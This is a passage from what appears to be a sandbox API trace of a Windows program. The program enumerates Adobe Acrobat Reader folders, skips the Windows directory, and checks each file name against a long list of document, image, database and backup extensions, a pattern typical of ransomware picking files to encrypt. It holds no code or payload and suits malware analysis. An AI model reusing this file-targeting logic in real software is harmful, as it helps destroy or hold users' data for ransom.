returned -1 [0272.372] lstrlenW (lpString=".icb") returned 4 [0272.372] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".ics") returned 4 [0272.372] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".iff") returned 4 [0272.372] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".inc") returned 4 [0272.372] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".indd") returned 5 [0272.372] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.372] lstrlenW (lpString=".ini") returned 4 [0272.372] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".iqy") returned 4 [0272.372] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".j2c") returned 4 [0272.372] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".j2k") returned 4 [0272.373] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".java") returned 5 [0272.373] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.373] lstrlenW (lpString=".jp2") returned 4 [0272.373] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".jpc") returned 4 [0272.373] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".jpe") returned 4 [0272.373] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".jpeg") returned 5 [0272.373] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.373] lstrlenW (lpString=".jpf") returned 4 [0272.373] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".jpg") returned 4 [0272.373] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".jpx") returned 4 [0272.373] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.373] lstrlenW (lpString=".js") returned 3 [0272.373] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.373] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.373] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0272.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.374] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0272.374] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl") returned 119 [0272.374] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl") returned 1 [0272.374] lstrlenW (lpString="sl-sl") returned 5 [0272.374] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-sl") returned -1 [0272.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.374] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl") returned 119 [0272.374] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0272.375] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.375] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0272.375] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0272.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.375] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0272.375] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 119 [0272.375] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 1 [0272.375] lstrlenW (lpString="sv-se") returned 5 [0272.375] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0272.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.375] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se") returned 119 [0272.375] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0272.376] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.376] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.376] lstrlenW (lpString="ui-strings.js") returned 13 [0272.376] lstrlenW (lpString=".1cd") returned 4 [0272.376] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.376] lstrlenW (lpString=".3ds") returned 4 [0272.376] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.376] lstrlenW (lpString=".3fr") returned 4 [0272.376] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.376] lstrlenW (lpString=".3g2") returned 4 [0272.376] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.376] lstrlenW (lpString=".3gp") returned 4 [0272.376] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.376] lstrlenW (lpString=".7z") returned 3 [0272.377] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.377] lstrlenW (lpString=".accda") returned 6 [0272.377] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".accdb") returned 6 [0272.377] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".accdc") returned 6 [0272.377] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".accde") returned 6 [0272.377] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".accdt") returned 6 [0272.377] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".accdw") returned 6 [0272.377] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.377] lstrlenW (lpString=".adb") returned 4 [0272.377] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.377] lstrlenW (lpString=".adp") returned 4 [0272.377] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.377] lstrlenW (lpString=".ai") returned 3 [0272.377] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.377] lstrlenW (lpString=".ai3") returned 4 [0272.377] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.377] lstrlenW (lpString=".ai4") returned 4 [0272.377] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.377] lstrlenW (lpString=".ai5") returned 4 [0272.377] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.377] lstrlenW (lpString=".ai6") returned 4 [0272.377] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".ai7") returned 4 [0272.378] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".ai8") returned 4 [0272.378] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".anim") returned 5 [0272.378] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.378] lstrlenW (lpString=".arw") returned 4 [0272.378] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".as") returned 3 [0272.378] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.378] lstrlenW (lpString=".asa") returned 4 [0272.378] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".asc") returned 4 [0272.378] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".ascx") returned 5 [0272.378] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.378] lstrlenW (lpString=".asm") returned 4 [0272.378] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".asmx") returned 5 [0272.378] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.378] lstrlenW (lpString=".asp") returned 4 [0272.378] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.378] lstrlenW (lpString=".aspx") returned 5 [0272.379] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.379] lstrlenW (lpString=".asr") returned 4 [0272.379] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".asx") returned 4 [0272.379] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".avi") returned 4 [0272.379] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".avs") returned 4 [0272.379] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".backup") returned 7 [0272.379] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.379] lstrlenW (lpString=".bak") returned 4 [0272.379] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".bay") returned 4 [0272.379] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".bd") returned 3 [0272.379] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.379] lstrlenW (lpString=".bin") returned 4 [0272.379] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".bmp") returned 4 [0272.379] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.379] lstrlenW (lpString=".bz2") returned 4 [0272.380] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".c") returned 2 [0272.380] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.380] lstrlenW (lpString=".cdr") returned 4 [0272.380] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".cer") returned 4 [0272.380] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".cf") returned 3 [0272.380] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.380] lstrlenW (lpString=".cfc") returned 4 [0272.380] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".cfm") returned 4 [0272.380] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".cfml") returned 5 [0272.380] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.380] lstrlenW (lpString=".cfu") returned 4 [0272.380] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".chm") returned 4 [0272.380] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".cin") returned 4 [0272.380] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".class") returned 6 [0272.380] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.380] lstrlenW (lpString=".clx") returned 4 [0272.380] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.380] lstrlenW (lpString=".config") returned 7 [0272.381] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.381] lstrlenW (lpString=".cpp") returned 4 [0272.381] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".cr2") returned 4 [0272.381] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".crt") returned 4 [0272.381] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".crw") returned 4 [0272.381] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".cs") returned 3 [0272.381] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.381] lstrlenW (lpString=".css") returned 4 [0272.381] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".csv") returned 4 [0272.381] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".cub") returned 4 [0272.381] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".dae") returned 4 [0272.381] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".dat") returned 4 [0272.381] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.381] lstrlenW (lpString=".db") returned 3 [0272.381] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.382] lstrlenW (lpString=".dbf") returned 4 [0272.382] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dbx") returned 4 [0272.382] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dc3") returned 4 [0272.382] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dcm") returned 4 [0272.382] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dcr") returned 4 [0272.382] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".der") returned 4 [0272.382] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dib") returned 4 [0272.382] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dic") returned 4 [0272.382] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".dif") returned 4 [0272.382] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.382] lstrlenW (lpString=".divx") returned 5 [0272.382] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.382] lstrlenW (lpString=".djvu") returned 5 [0272.382] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.383] lstrlenW (lpString=".dng") returned 4 [0272.383] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".doc") returned 4 [0272.383] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".docm") returned 5 [0272.383] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.383] lstrlenW (lpString=".docx") returned 5 [0272.383] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.383] lstrlenW (lpString=".dot") returned 4 [0272.383] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".dotm") returned 5 [0272.383] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.383] lstrlenW (lpString=".dotx") returned 5 [0272.383] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.383] lstrlenW (lpString=".dpx") returned 4 [0272.383] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".dqy") returned 4 [0272.383] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".dsn") returned 4 [0272.383] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".dt") returned 3 [0272.383] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.383] lstrlenW (lpString=".dtd") returned 4 [0272.383] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.383] lstrlenW (lpString=".dwg") returned 4 [0272.669] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.669] lstrlenW (lpString=".dwt") returned 4 [0272.670] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".dx") returned 3 [0272.670] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.670] lstrlenW (lpString=".dxf") returned 4 [0272.670] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".edml") returned 5 [0272.670] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.670] lstrlenW (lpString=".efd") returned 4 [0272.670] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".elf") returned 4 [0272.670] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".emf") returned 4 [0272.670] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".emz") returned 4 [0272.670] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.670] lstrlenW (lpString=".epf") returned 4 [0272.670] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.670] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.670] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0272.671] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0272.671] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.671] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0272.716] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.737] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.737] lstrlenW (lpString="ui-strings.js") returned 13 [0272.738] lstrlenW (lpString=".1cd") returned 4 [0272.738] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.738] lstrlenW (lpString=".3ds") returned 4 [0272.738] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.738] lstrlenW (lpString=".3fr") returned 4 [0272.738] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.738] lstrlenW (lpString=".3g2") returned 4 [0272.738] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.738] lstrlenW (lpString=".3gp") returned 4 [0272.738] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.738] lstrlenW (lpString=".7z") returned 3 [0272.738] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.738] lstrlenW (lpString=".accda") returned 6 [0272.738] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".accdb") returned 6 [0272.738] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".accdc") returned 6 [0272.738] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".accde") returned 6 [0272.738] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".accdt") returned 6 [0272.738] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".accdw") returned 6 [0272.738] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.738] lstrlenW (lpString=".adb") returned 4 [0272.739] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".adp") returned 4 [0272.739] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai") returned 3 [0272.739] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.739] lstrlenW (lpString=".ai3") returned 4 [0272.739] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai4") returned 4 [0272.739] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai5") returned 4 [0272.739] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai6") returned 4 [0272.739] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai7") returned 4 [0272.739] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ai8") returned 4 [0272.739] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned 